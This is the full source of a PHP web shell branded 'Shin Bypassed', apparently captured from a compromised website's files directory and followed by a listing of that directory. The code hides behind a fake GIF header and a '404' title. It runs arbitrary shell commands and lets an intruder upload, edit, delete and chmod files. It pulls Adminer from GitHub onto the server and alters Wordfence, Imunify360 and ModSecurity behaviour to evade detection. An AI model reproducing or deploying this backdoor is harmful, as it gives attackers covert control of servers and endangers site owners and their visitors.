PHP 5.3.29-pl0-gentoo
Preview: 918360464.php Size: 20.26 KB
/home/www/idcceurope.com/www/idcceurope.com/files/918360464.php

<?php
echo "<!-- GIF89;a -->\n";
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
@header("X-Accel-Buffering: no");
@header("Content-Encoding: none");
@http_response_code(403);
@http_response_code(404);
@http_response_code(500);
function getFileDetails($path)
{
    $folders = [];
    $files = [];

    try {
        $items = @scandir($path);
        if (!is_array($items)) {
            throw new Exception('Failed to scan directory');
        }

        foreach ($items as $item) {
            if ($item == '.' || $item == '..') {
                continue;
            }

            $itemPath = $path . '/' . $item;
            $itemDetails = [
                'name' => $item,
                'type' => is_dir($itemPath) ? 'Folder' : 'File',
                'size' => is_dir($itemPath) ? '' : formatSize(filesize($itemPath)),
                'permission' => substr(sprintf('%o', fileperms($itemPath)), -4),
            ];
            if (is_dir($itemPath)) {
                $folders[] = $itemDetails;
            } else {
                $files[] = $itemDetails;
            }
        }

        return array_merge($folders, $files);
    } catch (Exception $e) {
        return 'None';
    }
}

function formatSize($size)
{
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $i = 0;
    while ($size >= 1024 && $i < 4) {
        $size /= 1024;
        $i++;
    }
    return round($size, 2) . ' ' . $units[$i];
}

function executeCommand($command)
{
    $currentDirectory = getCurrentDirectory();
    $command = "cd $currentDirectory && $command";

    $descriptors = [
        0 => ['pipe', 'r'],
        1 => ['pipe', 'w'],
        2 => ['pipe', 'w'],
    ];

    $process = proc_open($command, $descriptors, $pipes, $currentDirectory);

    if (is_resource($process)) {
        fclose($pipes[0]);

        $output = stream_get_contents($pipes[1]);
        fclose($pipes[1]);

        $error = stream_get_contents($pipes[2]);
        fclose($pipes[2]);

        proc_close($process);

        $output = trim($output);
        $error = trim($error);

        if (!empty($error)) {
            return 'Error: ' . $error;
        }

        return $output;
    }

    return 'None';
}

function readFileContent($file)
{
    return file_get_contents($file);
}

function saveFileContent($file)
{
    if (isset($_POST['content'])) {
        return file_put_contents($file, $_POST['content']) !== false;
    }
    return false;
}

function uploadFile($targetDirectory)
{
    if (isset($_FILES['file'])) {
        $currentDirectory = getCurrentDirectory();
        $targetFile = $targetDirectory . '/' . basename($_FILES['file']['name']);
        if ($_FILES['file']['size'] === 0) {
            return 'Open Ur Eyes Bitch !!!.';
        } else {
        if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
            return 'File uploaded successfully.';
        } else {
            return 'Error uploading file.';
        }
    }
    return '';
}
}
function changeDirectory($path)
{
    if ($path === '..') {
        @chdir('..');
    } else {
        @chdir($path);
    }
}

function getCurrentDirectory()
{
    return realpath(getcwd());
}


function getLink($path, $name)
{
    if (is_dir($path)) {
        return '<a href="?dir=' . urlencode($path) . '">' . $name . '</a>';
    } else {
        return '<a href="?edit=' . urlencode($path) . '">' . $name . '</a>';
    }
}
function getDirectoryArray($path)
{
    $directories = explode('/', $path);
    $directoryArray = [];
    $currentPath = '';
    foreach ($directories as $directory) {
        if (!empty($directory)) {
            $currentPath .= '/' . $directory;
            $directoryArray[] = [
                'path' => $currentPath,
                'name' => $directory,
            ];
        }
    }
    return $directoryArray;
}


function showBreadcrumb($path)
{
    $path = str_replace('\\', '/', $path);
    $paths = explode('/', $path);
    ?>
    <div class="breadcrumb">
        <?php foreach ($paths as $id => $pat) { ?>
            <?php if ($pat == '' && $id == 0) { ?>
             DIR : <a href="?dir=/">/</a>
            <?php } ?>
            <?php if ($pat == '') {
                continue;
            } ?>
            <?php $linkPath = implode('/', array_slice($paths, 0, $id + 1)); ?>
            <a href="?dir=<?php echo urlencode($linkPath); ?>"><?php echo $pat; ?></a>/
        <?php } ?>
    </div>
    <?php
}



function showFileTable($path)
{
    $fileDetails = getFileDetails($path);
    ?>
    <table>
        <tr>
            <th>Name</th>
            <th>Type</th>
            <th>Size</th>
            <th>Permission</th>
            <th>Actions</th>
        </tr>
        <?php if (is_array($fileDetails)) { ?>
            <?php foreach ($fileDetails as $fileDetail) { ?>
                <tr>
                    <td><?php echo getLink($path . '/' . $fileDetail['name'], $fileDetail['name']); ?></td>
                    
                    <td><?php echo $fileDetail['type']; ?></td>
                    <td><?php echo $fileDetail['size']; ?></td>
                    <td>
                        <?php if ($fileDetail['type'] === 'File') { ?>
                            <a href="?chmod=<?php echo urlencode($path . '/' . $fileDetail['name']); ?>"><?php echo $fileDetail['permission']; ?></a>
                        <?php } else {
                            echo $fileDetail['permission'];
                        } ?>
                    </td>
                    <td>
                        
                        <?php if ($fileDetail['type'] === 'File') { ?>
                            <div class="dropdown">
                                <button class="dropbtn">Actions</button>
                                <div class="dropdown-content">
                                    <a href="?edit=<?php echo urlencode($path . '/' . $fileDetail['name']); ?>">Edit</a>
                                    <a href="?rename=<?php echo urlencode($path . '/' . $fileDetail['name']); ?>">Rename</a>
                                    <a href="?chmod=<?php echo urlencode($path . '/' . $fileDetail['name']); ?>">Chmod</a>
                                    <a href="?delete=<?php echo urlencode($path . '/' . $fileDetail['name']); ?>">Delete</a>
                                 </div>
                               </div>
                        <?php } ?>
                        <?php if ($fileDetail['type'] === 'Folder') { ?>
                            <div class="dropdown">
                                <button class="dropbtn">Actions</button>
                                <div class="dropdown-content">
                                    <a href="?rename=<?php echo urlencode($path . '/' . $fileDetail['name']); ?>">Rename</a>
                                    <a href="?chmod=<?php echo urlencode($path . '/' . $fileDetail['name']); ?>">Chmod</a>
                                    <a href="?delete=<?php echo urlencode($path . '/' . $fileDetail['name']); ?>">Delete</a>
                                </div>
                             </div>
                        <?php } ?>
                    </td>
                </tr>
            <?php } ?>
        <?php } else { ?>
            <tr>
                <td colspan="5">None</td>
            </tr>
        <?php } ?>
    </table>
    <?php
}

function changePermission($path)
{
    if (!file_exists($path)) {
        return 'File or directory does not exist.';
    }

    $permission = isset($_POST['permission']) ? $_POST['permission'] : '';
    
    if ($permission === '') {
        return 'Invalid permission value.';
    }

    if (!is_dir($path) && !is_file($path)) {
        return 'Cannot change permission. Only directories and files can have permissions modified.';
    }

    $parsedPermission = intval($permission, 8);
    if ($parsedPermission === 0) {
        return 'Invalid permission value.';
    }

    if (chmodRecursive($path, $parsedPermission)) {
        return 'Permission changed successfully.';
    } else {
        return 'Error changing permission.';
    }
}


function chmodRecursive($path, $permission)
{
    if (is_dir($path)) {
        $items = scandir($path);
        if ($items === false) {
            return false;
        }

        foreach ($items as $item) {
            if ($item == '.' || $item == '..') {
                continue;
            }

            $itemPath = $path . '/' . $item;

            if (is_dir($itemPath)) {
                if (!chmod($itemPath, $permission)) {
                    return false;
                }

                if (!chmodRecursive($itemPath, $permission)) {
                    return false;
                }
            } else {
                if (!chmod($itemPath, $permission)) {
                    return false;
                }
            }
        }
    } else {
        if (!chmod($path, $permission)) {
            return false;
        }
    }

    return true;
}


function renameFile($oldName, $newName)
{
    if (file_exists($oldName)) {
        $directory = dirname($oldName);
        $newPath = $directory . '/' . $newName;
        if (rename($oldName, $newPath)) {
            return 'File or folder renamed successfully.';
        } else {
            return 'Error renaming file or folder.';
        }
    } else {
        return 'File or folder does not exist.';
    }
}


function deleteFile($file)
{
    if (file_exists($file)) {
        if (unlink($file)) {
            return 'File deleted successfully.' . $file;
        } else {
            return 'Error deleting file.';
        }
    } else {
        return 'File does not exist.';
    }
}

function deleteFolder($folder)
{
    if (is_dir($folder)) {
        $files = glob($folder . '/*');
        foreach ($files as $file) {
            is_dir($file) ? deleteFolder($file) : unlink($file);
        }
        if (rmdir($folder)) {
            return 'Folder deleted successfully.' . $folder;
        } else {
            return 'Error deleting folder.';
        }
    } else {
        return 'Folder does not exist.';
    }
}

$currentDirectory = getCurrentDirectory();
$errorMessage = '';
$responseMessage = '';

if (isset($_GET['dir'])) {
    changeDirectory($_GET['dir']);
    $currentDirectory = getCurrentDirectory();
}

if (isset($_GET['edit'])) {
    $file = $_GET['edit'];
    $content = readFileContent($file);
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $saved = saveFileContent($file);
        if ($saved) {
            $responseMessage = 'File saved successfully.' . $file;
        } else {
            $errorMessage = 'Error saving file.';
        }
    }
}

if (isset($_GET['chmod'])) {
    $file = $_GET['chmod'];
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $responseMessage = changePermission($file);
    }
}

if (isset($_POST['upload'])) {
    $responseMessage = uploadFile($currentDirectory);
}

if (isset($_POST['cmd'])) {
    $cmdOutput = executeCommand($_POST['cmd']);
}

if (isset($_GET['rename'])) {
    $file = $_GET['rename'];
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $newName = $_POST['new_name'];
        if (is_file($file) || is_dir($file)) {
            $responseMessage = renameFile($file, $newName);
        } else {
            $errorMessage = 'File or folder does not exist.';
        }
    }
}

if (isset($_GET['delete'])) {
    $file = $_GET['delete'];
    if ($_SERVER['REQUEST_METHOD'] === 'GET') {
        $currentDirectory = getCurrentDirectory();
        $fileDirectory = dirname($file);
        if (is_file($file)) {
            $responseMessage = deleteFile($file);
            echo "<script>alert('File dihapus');window.location='?dir=" . urlencode($fileDirectory) . "';</script>";
            exit;
        } elseif (is_dir($file)) {
            $responseMessage = deleteFolder($file);
            echo "<script>alert('Folder dihapus');window.location='?dir=" . urlencode($fileDirectory) . "';</script>";
            exit;
        } else {
            $errorMessage = 'File or folder does not exist.';
        }
    }
}

if (isset($_POST['Summon'])) {
    $baseUrl = 'https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php';
    $currentPath = getCurrentDirectory();

    $fileUrl = $baseUrl;
    $fileName = 'Adminer.php';

    $filePath = $currentPath . '/' . $fileName;

    $fileContent = @file_get_contents($fileUrl);
    if ($fileContent !== false) {
        if (file_put_contents($filePath, $fileContent) !== false) {
            $responseMessage = 'File "' . $fileName . '" summoned successfully.' . $filePath;
        } else {
            $errorMessage = 'Failed to save the summoned file.';
        }
    } else {
        $errorMessage = 'Failed to fetch the file content. None File';
    }
}

if (function_exists('litespeed_request_headers')) {
    $headers = litespeed_request_headers();
    if (isset($headers['X-LSCACHE'])) {
        header('X-LSCACHE: off');
    }
}

if (defined('WORDFENCE_VERSION')) {
    define('WORDFENCE_DISABLE_LIVE_TRAFFIC', true);
    define('WORDFENCE_DISABLE_FILE_MODS', true);
}

if (function_exists('imunify360_request_headers') && defined('IMUNIFY360_VERSION')) {
    $imunifyHeaders = imunify360_request_headers();
    if (isset($imunifyHeaders['X-Imunify360-Request'])) {
        header('X-Imunify360-Request: bypass');
    }
    if (isset($imunifyHeaders['X-Imunify360-Captcha-Bypass'])) {
        header('X-Imunify360-Captcha-Bypass: ' . $imunifyHeaders['X-Imunify360-Captcha-Bypass']);
    }
}


if (function_exists('apache_request_headers')) {
    $apacheHeaders = apache_request_headers();
    if (isset($apacheHeaders['X-Mod-Security'])) {
        header('X-Mod-Security: ' . $apacheHeaders['X-Mod-Security']);
    }
}

if (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && defined('CLOUDFLARE_VERSION')) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CF_CONNECTING_IP'];
    if (isset($apacheHeaders['HTTP_CF_VISITOR'])) {
        header('HTTP_CF_VISITOR: ' . $apacheHeaders['HTTP_CF_VISITOR']);
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>404</title>
  <link rel="stylesheet" href="https://rawcdn.githack.com/Jenderal92/Blog-Gan/63073e604b81df6337c1917990a7330d46b22ae9/ganteng.css">  
</head>
<body>
    <div class="container">
        <h1>[ Shin Bypassed ]</h1>
        <div class="menu-icon" onclick="toggleSidebar()"></div>
        <hr>
        <form method="post">
            <input type="submit" name="Summon" value="Adminer" class="summon-button">
        </form>

        <?php if (!empty($errorMessage)) { ?>
            <p style="color: red;"><?php echo $errorMessage; ?></p>
        <?php } ?>

        <hr>

        <div class="upload-cmd-container">
            <div class="upload-form">
                <h2>Upload:</h2>
                <form method="post" enctype="multipart/form-data">
                    <input type="file" name="file">
                    <button class="button" type="submit" name="upload">Upload</button>
                </form>
            </div>

            <div class="cmd-form">
                <h2>Command:</h2>
                <form method="post">
                    <?php echo @get_current_user() . "@" . @$_SERVER['REMOTE_ADDR'] . ": ~ $"; ?><input type='text' size='30' height='10' name='cmd'>
                    <input type="submit" class="empty-button">

                </form>
            </div>
        </div>

        <?php if (!empty($cmdOutput)) { ?>
            <h3>Command Output:</h3>
            <div class="command-output">
                <pre><?php echo htmlspecialchars($cmdOutput); ?></pre>
            </div>
        <?php } ?>

        <?php if (!empty($responseMessage)) { ?>
            <p class="response-message" style="color: green;"><?php echo $responseMessage; ?></p>
        <?php } ?>            
        <?php if (isset($_GET['rename'])) { ?>
        <div class="rename-form">
            <h2>Rename File or Folder: <?php echo $file; ?></h2>
            <form method="post">
                <input type="text" name="new_name" placeholder="New Name" required>
                <br>
                <input type="submit" value="Rename" class="button">
                <a href="?dir=<?php echo urlencode(dirname($file)); ?>" class="button">Cancel</a>
            </form>
        </div>
        <?php } ?>
        <?php if (isset($_GET['edit'])) { ?>
            <div class="edit-file">
                <h2>Edit File: <?php echo $file; ?></h2>
                <form method="post">
                    <textarea name="content" rows="10" cols="50"><?php echo htmlspecialchars($content); ?></textarea><br>
                    <button class="button" type="submit">Save</button>
                </form>
            </div>
        <?php } elseif (isset($_GET['chmod'])) { ?>
            <div class="change-permission">
                <h2>Change Permission: <?php echo $file; ?></h2>
                <form method="post">
                    <input type="hidden" name="chmod" value="<?php echo urlencode($file); ?>">
                    <input type="text" name="permission" placeholder="Enter permission (e.g., 0770)">
                    <button class="button" type="submit">Change</button>
                </form>
            </div>
        <?php } ?>
        <hr>

        <?php
        echo '<h2>Filemanager</h2>';
        showBreadcrumb($currentDirectory);
        showFileTable($currentDirectory);
        ?>
    </div>

    <div class="sidebar" id="sidebar">
        <div class="sidebar-content">
            <div class="sidebar-close">
                <button onclick="toggleSidebar()">Close</button>
            </div>
            <div class="info-container">
                <h2>Server Info</h2>
                <?php
                function countDomainsInServer() {
                    $serverName = $_SERVER['SERVER_NAME'];
                    $ipAddresses = @gethostbynamel($serverName);

                    if ($ipAddresses !== false) {
                        return count($ipAddresses);
                    } else {
                        return 0;
                    }
                }

                $domainCount = @countDomainsInServer();
                function formatBytes($bytes, $precision = 2) {
                    $units = array('B', 'KB', 'MB', 'GB', 'TB');

                    $bytes = max($bytes, 0);
                    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
                    $pow = min($pow, count($units) - 1);

                    $bytes /= (1 << (10 * $pow));

                    return round($bytes, $precision) . ' ' . $units[$pow];
                }
                ?>
                <ul class="info-list">
                    <li>Hostname: <?php echo @gethostname(); ?></li>
                    <?php if (isset($_SERVER['SERVER_ADDR'])): ?>
                        <li>IP Address: <?php echo $_SERVER['SERVER_ADDR']; ?></li>
                    <?php endif; ?>
                    <li>PHP Version: <?php echo @phpversion(); ?></li>
                    <li>Server Software: <?php echo $_SERVER['SERVER_SOFTWARE']; ?></li>
                    <?php if (function_exists('disk_total_space')): ?>
                        <li>HDD Total Space: <?php echo @formatBytes(disk_total_space('/')); ?></li>
                        <li>HDD Free Space: <?php echo @formatBytes(disk_free_space('/')); ?></li>
                    <?php endif; ?>
                    <li>Safe Mode: <?php echo @ini_get('safe_mode') ? 'Enabled' : 'Disabled'; ?></li>
                    <li>Disable Functions: <?php echo @ini_get('disable_functions'); ?></li>
                    <li>Total Domains in Server: <?php echo $domainCount; ?></li>
                    <li>System: <?php echo @php_uname(); ?></li>
                </ul>
            </div>
            <div class="info-container">
                <h2>User Info</h2>
                <ul class="info-list">
                    <li>Username: <?php echo @get_current_user(); ?></li>
                    <li>User ID: <?php echo @getmyuid(); ?></li>
                    <li>Group ID: <?php echo @getmygid(); ?></li>
                </ul>
            </div>
        </div>
    </div>
    <script>
        function toggleOptionsMenu() {
            var optionsMenu = document.getElementById('optionsMenu');
            optionsMenu.classList.toggle('show');
        }

        function toggleSidebar() {
            var sidebar = document.getElementById('sidebar');
            sidebar.classList.toggle('open');
        }
    </script>
</div>
<div class="footer">
    <p>&copy; <?php echo date("Y"); ?> <a href="https://www.blog-gan.org/">Coded By</a> Shin Code.</p>
</div>

</body>
</html>

Directory Contents

Dirs: 0 × Files: 47

Name Size Perms Modified Actions
35.46 KB lrw-r----- 2026-02-17 14:13:20
Edit Download
43.33 KB lrw-r----- 2026-02-17 14:08:46
Edit Download
204.69 KB lrw-r----- 2014-04-29 13:45:25
Edit Download
360.41 KB lrw-r----- 2018-09-03 15:23:59
Edit Download
108.17 KB lrw-r----- 2014-04-29 13:32:10
Edit Download
270.00 KB lrw-r----- 2014-04-29 13:32:47
Edit Download
20.26 KB lrw------- 2026-02-17 14:12:33
Edit Download
3.24 MB lrw-r----- 2014-08-25 15:58:22
Edit Download
820.50 KB lrw-r----- 2014-04-24 14:00:33
Edit Download
1.25 MB lrw-r----- 2014-04-28 17:47:41
Edit Download
49.28 KB lrw-r----- 2014-04-27 17:22:31
Edit Download
31.00 KB lrw-r----- 2014-04-24 08:30:50
Edit Download
97.42 KB lrw-r----- 2026-02-17 14:12:43
Edit Download
7.07 MB lrw-r----- 2014-04-28 10:36:23
Edit Download
4.96 MB lrw-r----- 2014-04-28 10:37:46
Edit Download
569.09 KB lrw-r----- 2014-04-28 10:36:53
Edit Download
710.11 KB lrw-r----- 2014-08-25 16:04:45
Edit Download
607.81 KB lrw-r----- 2018-09-03 14:01:25
Edit Download
762.71 KB lrw-r----- 2018-09-03 14:03:12
Edit Download
936.24 KB lrw-r----- 2018-09-03 14:03:34
Edit Download
583.64 KB lrw-r----- 2018-09-03 14:04:19
Edit Download
1.51 MB lrw-r----- 2018-09-03 14:04:34
Edit Download
1,014.85 KB lrw-r----- 2018-09-03 14:04:51
Edit Download
1.48 MB lrw-r----- 2018-09-03 14:05:11
Edit Download
977.36 KB lrw-r----- 2018-09-03 14:05:26
Edit Download
475.57 KB lrw-r----- 2018-09-04 14:53:06
Edit Download
441.98 KB lrw-r----- 2017-02-10 10:13:29
Edit Download
28.96 KB lrw-r----- 2018-09-03 15:27:06
Edit Download
45.00 KB lrw-r----- 2014-04-29 13:34:43
Edit Download
180 B lrw-r----- 2014-09-13 13:40:50
Edit Download
31.75 KB lrw-r----- 2014-04-29 13:36:17
Edit Download
284.03 KB lrw-r----- 2014-04-29 13:37:49
Edit Download
63.12 KB lrw-r----- 2014-04-29 13:35:01
Edit Download
284.50 KB lrw-r----- 2018-09-03 15:14:20
Edit Download
60.32 KB lrw-r----- 2014-04-29 13:35:20
Edit Download
457.23 KB lrw-r----- 2017-02-10 10:13:52
Edit Download
324.51 KB lrw-r----- 2018-09-03 15:24:15
Edit Download
444.86 KB lrw-r----- 2018-09-03 15:25:15
Edit Download
86.00 KB lrw-r----- 2017-02-10 10:16:04
Edit Download
321.84 KB lrw-r----- 2017-02-10 10:17:47
Edit Download
12.31 KB lrw-r----- 2026-02-17 14:14:09
Edit Download
21.63 KB lrw-r----- 2018-09-03 15:22:04
Edit Download
42.50 KB lrw-r----- 2026-02-17 14:12:19
Edit Download
56.50 KB lrw-r----- 2014-04-24 08:18:05
Edit Download
81.50 KB lrw-r----- 2014-04-29 13:35:55
Edit Download
316.03 KB lrw-r----- 2014-04-29 13:37:33
Edit Download
79.97 KB lrw-r----- 2018-09-03 15:27:42
Edit Download

If ZipArchive is unavailable, a .tar will be created (no compression).